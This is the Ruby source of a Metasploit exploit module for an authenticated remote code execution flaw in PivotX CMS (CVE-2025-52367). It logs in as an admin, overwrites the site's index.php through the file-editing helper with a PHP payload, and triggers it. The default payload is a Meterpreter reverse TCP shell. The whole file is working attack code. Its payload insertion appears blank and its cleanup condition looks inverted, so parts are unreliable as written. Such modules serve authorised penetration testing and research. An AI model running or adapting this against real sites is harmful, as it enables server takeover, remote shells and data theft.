## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html include Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'PivotX Remote Code Execution', 'Description' => %q{ This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'HayToN', # security research 'msutovsky-r7' # module dev ], 'References' => [ [ 'EDB', '52361' ], [ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'], [ 'CVE', '2025-52367'] ], 'Targets' => [ [ 'Linux', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'DisclosureDate' => '2025-07-10', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('USERNAME', [ true, 'PivotX username', '' ]), OptString.new('PASSWORD', [true, 'PivotX password', '']), OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/']) ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php') }) return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200 return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered') html_body = res.get_html_document return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } version = Rex::Version.new(Regexp.last_match(1)) return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") end def login data_post = Rex::MIME::Message.new data_post.add_part('', nil, nil, %(form-data; name="returnto")) data_post.add_part('', nil, nil, %(form-data; name="template")) data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username")) data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password")) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), 'vars_get' => { 'page' => 'login' }, 'ctype' => "multipart/form-data; boundary=#{data_post.bound}", 'data' => data_post.to_s, 'keep_cookies' => true }) fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]") fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/ @csrf_token = Regexp.last_match(1) end def modify_file res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), 'vars_get' => { 'page' => 'homeexplore' } }) fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/ @base_dir = Regexp.last_match(1) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), 'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' } }) fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200 @original_value = res.get_html_document.at('textarea')&.text fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => " #{@original_value}" } }) fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') end def trigger_payload send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php') }) end def restore res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value } }) vprint_status('Restoring original content') vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') end def cleanup super # original content can be any string, it cannot be nil restore if @original_value.nil? end def exploit vprint_status('Logging in PivotX') login vprint_status('Modifying file and injecting payload') modify_file vprint_status('Triggering payload') trigger_payload end end